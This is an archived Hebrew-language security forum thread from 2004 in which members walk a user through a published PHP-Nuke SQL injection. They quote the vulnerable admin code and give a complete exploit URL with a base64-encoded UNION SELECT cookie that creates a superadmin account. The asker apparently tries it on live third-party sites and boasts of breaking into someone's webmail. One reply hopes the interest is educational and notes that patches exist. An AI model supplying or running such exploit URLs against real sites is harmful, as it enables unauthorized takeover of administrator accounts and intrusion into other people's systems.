Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > בקשר ל PHPNUKE תכנסו בבקשה

2004-07-16 06:34 zerocool
שלום אני צריך עזרה קטנה בקשר ל PHPNUKE SQL INJECTION

זה ה SQL INJECTION נראה לי היחיד שלא הצלחתי להבין ממש אז אני אשמח אם תסבירו לי עליו

זה האתר http://msgs.securepoint.com/cgi-bin/get/bugtraq0404/128.html


הבעיה שלי שלא הבנתי שהוא אומר לי לעשות כך


http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1

and the "workhorse" is authors.php from /admin/modules/ directory. Authentication goes through
multiple steps. First, like we saw before, auth.php is required by admin.php and if we want to
bypass this authentication step, we must use UNION functionality, constructing "cookie" like this:

x'%20UNION%20SELECT%201/*:1
.......................................................................

לא הבנתי למה הוא מתכוון בכלל שאני עושה admin.php?foo=bar&admin=eCcgT1IvKjp5

אז נכון זה אומר לי Selection from database failed!
אבל שאני עושה את הפקודה השנייה שהוא אומר
http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1
אז זה לא מראה לי כלום כנראה פספתי משהו שהוא כתב שלא הבנתי שצריך להוסיף מישהו יכול להסביר לי מה אני צריך לעשות אחר כך את הפקודה המלאה כאילו?? ומזה אומר גם שאני יבין לפעם הבאה תודה

2004-07-16 12:01 cp77fk4r
לפי ה"op=AddAuthor" (הop זה קיצור של Option) בפאנל "admin.php" (של האדמין), אתה יכול לדעת שאתה מנסה להזריק מידע שיוסיף עוד מנהל למערכת.


ותיראה, הוא אומר לך לעשות "admin.php?foo=bar&admin=eCcgT1IvKjp5" למרות שהגישה האמיתית (של האדמינים) היא בכלל דרך ה"...admin.php?op=AddAuthor"

אבל בגלל שיש את הפילטר הזה:

if (preg_match("/?admin/", "$checkurl")) {
echo "die";
exit;


שבודק, ומאמת אם אתה מנהל.

אבל אפשר לעקוף את הבדיקה אם ננסה לדלות את הסיסמאות מהמסד נתונים ע"י הוספת השאילתה:

http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1

אבל שוב, זאת אומרת שאנחנו צריכים את הכל בMD5, אז נסתכל שוב על הקוד..

case "AddAuthor":
$add_aid = substr("$add_aid", 0,25);
$add_name = substr("$add_name", 0,25);
$add_pwd = substr("$add_pwd", 0,12);
if (!($add_aid && $add_name && $add_email && $add_pwd)) {
...
}
$add_pwd = md5($add_pwd);
$result = sql_query("insert into ".$prefix."_authors values ('$add_aid', '$add_name', '$add_url', '$add_email', '$add_pwd', Ɔ', '$add_radminarticle',
'$add_radmintopic','$add_radminuser','$add_radminsurvey','$add_radminsection','$add_radminlink','$add_radminephem','$add_radminfaq','$add_radmindownload','$add_radminreviews','$add_radminnewsletter','$add_radminforum','$add_radmincontent','$add_radminency','$add_radminsuper','$add_admlanguage')", $dbi);
if (!$result) {
return;
}
Header("Location: admin.php?op=mod_authors");
break;



שים לב, שאחרי שאנחנו ממלאים את המידע הוא שולח אותו ישר, אין עוד שום בדיקות, הכל עובר חלק.
אז פשוט נכתוב:

http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox


בMD5 ו...וואלה! :)

המשתמש: waraxe2
דרגה: Superadmin
סיסמא: coolpass

עכשיו הכל מובן?


ואחי, הבאג פורסם באפריל, אנחנו עכשיו בשביעי.. שלושה חודשים.. הכל רץ כאן בקצב מטורף, הוציאו לזה עידכונים.[נערך על-ידי cp77fk4r בתאריך 2004/07/16 12:03]
2004-07-16 13:28 zerocool
סבבה אחי בערך הבנתי אבל שאני עושה את הפקודה השנייה

admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1
אז זה לא עושה לי כלום זה רק מחזיר אותי לעמוד של ה ADMIN .... ושאני מנסה לעשות את הפקודה השלישית
admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

אז זה אומר לי Selection from database failed למה זה לא מצליח לי אחי מה פספסתי :)?
2004-07-16 13:59 cp77fk4r
שים לב לקוד:


if ($aid=="" || $pwd=="") {
$admintest=0;
echo "<html>
";
echo "<title>INTRUDER ALERT!!!</title>
";
echo "<body bgcolor="#FFFFFF" text="#000000">

<br><br><br>

";
echo "<center><img src="images/eyes.gif" border="0"><br><br>
";
echo "<font face="Verdana" size="+4"><b>Get Out!</b></font></center>
";
echo "</body>
";
echo "</html>
";
exit;
}
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'";
if (!($result = $db->sql_query($sql))) {
echo "Selection from database failed!";
exit;
} else {

$row = $db->sql_fetchrow($result);
if($row[pwd] == $pwd && $row[pwd] != "") {
$admintest = 1;
}
}


שים לב לIF:
if (!($result = $db->sql_query($sql))) {
echo "Selection from database failed!";
exit;


הם כותבים לך במפורש שאתה צריך להשתמש ב
" x'%20UNION%20SELECT%201&#8260;*:1 "

אחרי שאתה מגיע לארור הזה, ככה אתה משיג את הbase64encode (של ההצפנה)..

בהצלחה.[נערך על-ידי cp77fk4r בתאריך 2004/07/16 14:06]
2004-07-16 16:17 zerocool
ככה אחי

/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo%20AT%20bar%20DOT%20com&add_radminsuper=1&admin=1%20UNION%20SELECT%201&#8260;*:1
תבדוק אם רשמתי את זה טוב ואם לא אז תתקן לי אתה אחי בבקשה
2004-07-16 16:33 CereBrums
תראה...
אין פה יותר מדי להבין...
admin זה השם של הקוקי,
בעיקרון הקוקי מקודד בבסיס 64,
שלאחר פיענוח אתה מקבל את השם משתמש והסיסמא ככה:
user:md5hash

את זה: 1%20UNION%20SELECT%201&#8260;*:1
לא תוכל לכתוב בתוך העוגיה,
כי הוא אמור לקבל את זה ולפענח את זה בבסיס 64,
דבר שזה ממש לא...

הדבר הנחמד שהם עושים בחור אבטחה הזה,
זה הזרקת sql ע"י הקוקי
הדבר הזה: eCcgVU5JT04gU0VMRUNUIDEvKjox
לאחר פיענוח הוא: x' UNION SELECT 1/*:1

אין כאן צורך בפקודה שניה,
הסיבה לארור הוא כנראה פשוט פאטצ' או חסימת חור...
כי כמעט כל מערכת PHP-nuke שתחפש בגוגל,
כן תהיה פגיעה לחור הזה...

הכתובת שאמורה לפעול באופן מושלם היא זו:
admin.php?op=AddAuthor&add_aid=admin&add_name=God&add_pwd=pass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

אם זה לא פועל... לא פועל
2004-07-18 04:10 cp77fk4r
תכנס לגוגל ולכתוב XSS+Hacking ויהיה לך מלא חומר על זה.
2004-07-18 04:05 zerocool
כן אחי למדתי ברור :)) אבל אני רוצה ללמוד יותר על XSS זה יותר מעניין מ SQL INJECTOIN

כל הקטע שהסתבכתי עם האקספלויט בגלל שבאתר אמרו לי שאם זה אומר SELECTION FROM DATABSE FAILD אז זה הוכחה שההזרקה אמורה לעבוד ובעצם היא לא עובדת חפיף :)

2004-07-18 02:02 cp77fk4r
בכל אופן- כמו ששחף אמר, אני מקווה שזה רק למטרות למידה.
ככה שזה לא משנה, בכל אופן, העיקר שלמדת על החור עצמו ועל הדרך ניצול שלו.
לא כן?
2004-07-18 01:30 zerocool
צודק אחי בטח כבר כולם תיקנו את החור הזה חפיף לא יצא כבר הרבה זמן חורים חדשים ל
PHP-NUKE מעניין :)
2004-07-17 21:06 cp77fk4r
תיראה מה כתבתי לך בהודעה הקודמת:
"ואחי, הבאג פורסם באפריל, אנחנו עכשיו בשביעי.. שלושה חודשים.. הכל רץ כאן בקצב מטורף, הוציאו לזה עידכונים."

2004-07-16 19:31 zerocool
טוב סליחה על ההצפה רק רציתי להגיד לך שהבנתי את כל מה שאמרת שקשור ל COOKIE שבעצםeCcgVU5JT04gU0VMRUNUIDEvKjox זה x'%20UNION%20SELECT%201
אז זאת הייתה טעות שלי אחי סורי בקיצר אם זה אומר עדיין SELECTION FROM DATBASE FAILD אז זה אומר שבעל האתר תקן את הבאג וזהו חפיף לא נורא לפחות ל WEBMAIL שלו הצלחתי להכנס
:) חח ותודה לכולם שעזרו לי



ZeroCool
2004-07-16 19:14 zerocool
ואני יודע אחי שזה BASE64 זה לא הבעיה שלי עם לערוך את הקוקי את זה אני יודע אחי
הבעיה שלי שזה אומר לי Selection from database failed! ואת זה אני לא מבין בגלל שאמרו לי באתר שאם זה אומר ככה זאת הוכחה שזה כן עובד ובלי קשר בחור הזה אני אפילו לא צריך לערוך את הקוקי זה פשוט מוסיף SUPERADMIN עם id warexe2 וסיסמא coolpass אז אין צורך לערוך בכלל ... לערוך קוקי זה פשוט :)) ותודה אחי
2004-07-16 19:09 zerocool
סבבה הבנתי אחי ועשיתי את הפקודה שאמרת וזה אמר לי

Selection from database failed! אז זה אומר לי שהמערכת מוגנת? מהחור הזה?
בגלל שכתוב באתר שאם זה אומר לך ככה זה אומר שזאת הוכחה לחור הזה שזה עובד
מוזר אחי אני כבר מבולבל :(
עמודים: 1